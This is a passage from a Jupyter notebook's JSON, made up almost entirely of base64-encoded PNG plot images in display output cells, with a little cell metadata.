dAf+AnQC2gAnuvvrZpYPLAHeAz4DfuDuL1VzjGnANIDevXsPXVXdYDP7acsW+MIXoF8/eOEFPSxERDJTXWPjJKuBdiJwv7v3BMYCD5pZDvAh0Duq3rkceNjM2lfe2N1nu3uhuxd27do1SVkKbrstPBrw1lsV6EUke8UT7NcBvWLme0bLYl0APArg7i8DrYAu7v65u2+Mlr8OfAAcXt9Mx+vDD0OwP/vs8LBuEZFsFU+wXwT0NbM+ZtaC0AA7r1Ka1cAJAGZ2BCHYbzCzrlEDL2Z2KNAXWJ6szNdlxozQOPs//9NYRxQRaZrqbK509z1mdinwNJAL3OvuS8xsJlDs7tLmxqEAAAyBSURBVPOAK4B7zOwyQmPtFHd3MxsJzDSz3cA+4CJ339RgZxPjnXfgN7+BSy6Bww5rjCOKiDRdGfvwktNOg+eeCyNZJrkZQESkyWmsBtom5W9/g//7v9C3XoFeRCQDg33psAiHHBLfsAgiItkg40a9fPzxMCzCr39d9Q5YEZFslVEl+9JhEY46CiZPTnVuRESajowq2c+eDSUl8Mc/xj8sgohINsiYkv2WLfCjH8Ho0TB2bKpzIyLStGRMsN+6FUaOhB//WMMiiIhUljGVHd27w2OPpToXIiJNU8aU7EVEpGYK9iIiWUDBXkQkCyjYi4hkAQV7EZEsoGAvIpIFFOxFRLKAgr2ISBZQsBcRyQJZF+yLiiA/H3JywntRUapzJCLS8DJmuIR4FBXBtGmwfXuYX7UqzANMmpS6fImINLSsKtlfd115oC+1fXtYLiKSybIq2K9endhyEZFMkVXBvnfvxJaLiGSKrAr2s2ZVfS5t69ZhuYhIJosr2JvZGDNbZmYlZnZNNet7m9nzZvaGmb1lZmNj1l0bbbfMzL6WzMwnatKk8OjCvLzwgJO8vDCvxlkRyXTm7rUnMMsF3gNOAtYCi4CJ7r40Js1s4A13/4WZHQnMd/f8aPoRYBhwCPAscLi7763peIWFhV5cXFzP0xIRyS5m9rq7F9a0Pp6S/TCgxN2Xu/suYA4wvlIaB9pH0x2Af0XT44E57v65u68ASqL9iYhII4on2PcA1sTMr42WxZoBnGtma4H5wLcS2BYzm2ZmxWZWvGHDhjizLiIi8UpWA+1E4H537wmMBR40s7j37e6z3b3Q3Qu7du2apCyJiEipeO6gXQf0ipnvGS2LdQEwBsDdXzazVkCXOLcVEZEGFk/pexHQ18z6mFkLYAIwr1Ka1cAJAGZ2BNAK2BClm2BmLc2sD9AXeC1ZmRcRkfjUWbJ39z1mdinwNJAL3OvuS8xsJlDs7vOAK4B7zOwyQmPtFA/dfJaY2aPAUmAP8N+19cQREZGGUWfXy8amrpciIolLRtdLERFJcwr2IiJZQMFeRCQLKNiLiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAgr2IiJZQMFeRCQLKNiLiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAgr2IiJZQMFeRCQLKNiLiGQBBXsRkSygYC8ikgUU7EVEskBcwd7MxpjZMjMrMbNrqll/h5m9Gb3eM7NPY9btjVk3L5mZFxGR+DSrK4GZ5QJ3AycBa4FFZjbP3ZeWpnH3y2LSfwsoiNnFDncfnLwsi4hIouIp2Q8DStx9ubvvAuYA42tJPxF4JBmZExGR5Ign2PcA1sTMr42WVWFmeUAf4LmYxa3MrNjMXjGz02rYblqUpnjDhg1xZl1EROKV7AbaCcBj7r43ZlmeuxcC5wB3mtlhlTdy99nuXujuhV27dk1ylkREJJ5gvw7oFTPfM1pWnQlUqsJx93XR+3LgBSrW54uISCOIJ9gvAvqaWR8za0EI6FV61ZhZP6AT8HLMsk5m1jKa7gIcAyytvK2IiDSsOnvjuPseM7sUeBrIBe519yVmNhModvfSwD8BmOPuHrP5EcCvzGwf4Yvl5thePCIi0jisYmxOvcLCQi8uLk51NkRE0oqZvR61j1ZLd9CKiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAgr2IiJZQMFeRCQLKNiLiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAgr2IiJZQMFeRCQLKNiLiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAgr2IiJZIK5gb2ZjzGyZmZWY2TXVrL/DzN6MXu+Z2acx6yab2fvRa3IyMy8iIvFpVlcCM8sF7gZOAtYCi8xsnrsvLU3j7pfFpP8WUBBNdwZ+CBQCDrwebftJUs9CRERqFU/JfhhQ4u7L3X0XMAcYX0v6icAj0fTXgGfcfVMU4J8BxtQnwyIikrh4gn0PYE3M/NpoWRVmlgf0AZ5LZFszm2ZmxWZWvGHDhnjyLSIiCUh2A+0E4DF335vIRu4+290L3b2wa9euSc6SiIjEE+zXAb1i5ntGy6ozgfIqnES3FRGRBhJPsF8E9DWzPmbWghDQ51VOZGb9gE7AyzGLnwa+amadzKwT8NVomYiINKI6e+O4+x4zu5QQpHOBe919iZnNBIrdvTTwTwDmuLvHbLvJzG4gfGEAzHT3Tck9BRERqYvFxOYmobCw0IuLi1OdDRGRtGJmr7t7YU3rdQetiEgWULAXEckCCvYiIllAwV5EJAso2IuIZAEFexGRLKBgLyKSBRTsRUSygIK9iEgWULAXEckCCvYiIllAwV5EJAso2IuIZAEFexGRLJAxwb6oCPLzIScnvBcVpTpHIiJNR50PL0kHRUUwbRps3x7mV60K8wCTJqUuXyIiTUVGlOyvu6480Jfavj0sFxGRDAn2q1cntlxEJNtkRLDv3Tux5SIi2SYjgv2sWdC6dcVlrVuH5SIikiHBftIkmD0b8vLALLzPnq3GWRGRUhnRGwdCYFdwFxGpXkaU7EVEpHZxBXszG2Nmy8ysxMyuqSHN2Wa21MyWmNnDMcv3mtmb0WtesjIuIiLxq7Max8xygbuBk4C1wCIzm+fuS2PS9AWuBY5x90/M7KCYXexw98FJzreIiCQgnpL9MKDE3Ze7+y5gDjC+UppvAne7+ycA7v5xcrMpIiL1EU+w7wGsiZlfGy2LdThwuJktNLNXzGxMzLpWZlYcLT+tnvkVEZH9kKzeOM2AvsBooCewwMwGuPunQJ67rzOzQ4HnzOyf7v5B7MZmNg2IRrNhq5ktq0deugD/rsf2TU2mnQ9k3jll2vlA5p1Tpp0PVD2nvNoSxxPs1wG9YuZ7RstirQVedffdwAoze48Q/Be5+zoAd19uZi8ABUCFYO/us4HZceSlTmZW7O6FydhXU5Bp5wOZd06Zdj6QeeeUaecDiZ9TPNU4i4C+ZtbHzFoAE4DKvWrmEkr1mFkXQrXOcjPrZGYtY5YfAyxFREQaVZ0le3ffY2aXAk8DucC97r7EzGYCxe4+L1r3VTNbCuwFvufuG81sBPArM9tH+GK5ObYXj4iINI646uzdfT4wv9Ky6THTDlwevWLT/B0YUP9sJiQp1UFNSKadD2TeOWXa+UDmnVOmnQ8keE4W4rSIiGQyDZcgIpIFFOxFRLJAxgT7eMbvSTdmttLM/hmNK1Sc6vwkyszuNbOPzeztmGWdzewZM3s/eu+UyjwmqoZzmmFm62LGgBqbyjwmwsx6mdnzMeNafSdanpbXqZbzSedr1MrMXjOzxdE5/Sha3sfMXo1i3u+i3pI17ycT6uyj8XveI2b8HmBiuvf8MbOVQKG7p+XNIGY2EtgK/Nbd+0fLfgxscveboy/lTu5+dSrzmYgazmkGsNXdb0tl3vaHmXUHurv7P8ysHfA6cBowhTS8TrWcz9mk7zUyoI27bzWz5sDfgO8QOsQ87u5zzOyXwGJ3/0VN+8mUkn084/dII3P3BcCmSovHAw9E0w8Q/hHTRg3nlLbc/UN3/0c0vQV4hzAcSlpep1rOJ215sDWabR69HPgK8Fi0vM5rlCnBPp7xe9KRA38xs9ejISUyQTd3/zCa/gjolsrMJNGlZvZWVM2TFlUelZlZPuEO91fJgOtU6Xwgja+RmeWa2ZvAx8AzhFEIPnX3PVGSOmNepgT7THWsuw8BTgb+O6pCyBjR/RnpX48IvwAOAwYDHwL/m9rsJM7M2gJ/AL7r7p/FrkvH61TN+aT1NXL3vdFQ8T0JNRn9Et1HpgT7eMbvSTsx4wp9DDxBuMjpbn1Ur1pav5r2w2G7+/ron3EfcA9pdp2ieuA/AEXu/ni0OG2vU3Xnk+7XqFQ0uOTzwHCgo5mV3hhbZ8zLlGAfz/g9acXM2kQNTJhZG+CrwNu1b5UW5gGTo+nJwP+lMC9JURoUI6eTRtcpavz7DfCOu98esyotr1NN55Pm16irmXWMpg8gdER5hxD0z4yS1XmNMqI3DkDUlepOysfvmZXiLNWLhSGhn4hmmwEPp9s5mdkjhAHyugDrgR8SBs17FOgNrALOdve0afCs4ZxGE6oHHFgJXBhT392kmdmxwEvAP4F90eLvE+q50+461XI+E0nfazSQ0ACbSyigP+ruM6MYMQfoDLwBnOvun9e4n0wJ9iIiUrNMqcYREZFaKNiLiGQBBXsRkSygYC8ikgUU7EVEsoCCvYhIFlCwFxHJAv8Pqx7CIg0mJxcAAAAASUVORK5CYII=\n",
596 | "text/plain": [
597 | ""
598 | ]
599 | },
600 | "metadata": {
601 | "tags": [],
602 | "needs_background": "light"
603 | }
604 | },
605 | {
606 | "output_type": "display_data",
607 | "data": {
608 | "image/png": "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